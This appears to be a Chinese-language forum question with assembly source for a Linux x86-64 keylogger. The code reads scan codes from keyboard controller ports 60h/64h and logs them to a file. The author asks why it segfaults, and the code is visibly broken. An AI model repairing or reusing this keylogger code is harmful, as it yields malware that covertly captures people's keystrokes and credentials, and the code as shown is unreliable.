我为Linux 64位键盘记录器直接读取了硬件键盘控制器端口60h和64h并通过sys调用,但是我的键盘记录器甚至没有创建日志并显示分段错误消息。这是我制作的键盘记录程序的来源:
MOV RAX,85
MOV RDI,FILE_NAME
MOV RSI,0
INT 80h
MOV [FD],RAX
MOV RAX,173
MOV RDI,60h
MOV RSI,1
INT 80h
MOV RAX,173
MOV RDI,64h
MOV RSI,1
INT 80h
KEYLOGGER:
L0:
CALL GET_SCAN_CODE
MOV BYTE[SCAN_CODE],AL
MOV RDI,[FD]
LEA RSI,[SCAN_CODE]
MOV RDX,1
MOV RAX,1
INT 80h
JMP L0
GET_SCAN_CODE:
IN AL,64h
AND AL,21h
CMP AL,1
JNZ GET_SCAN_CODE
CALL DELAY
IN AL,60h
RET
我正在使用TAILS。以上是我的来源的错误所在。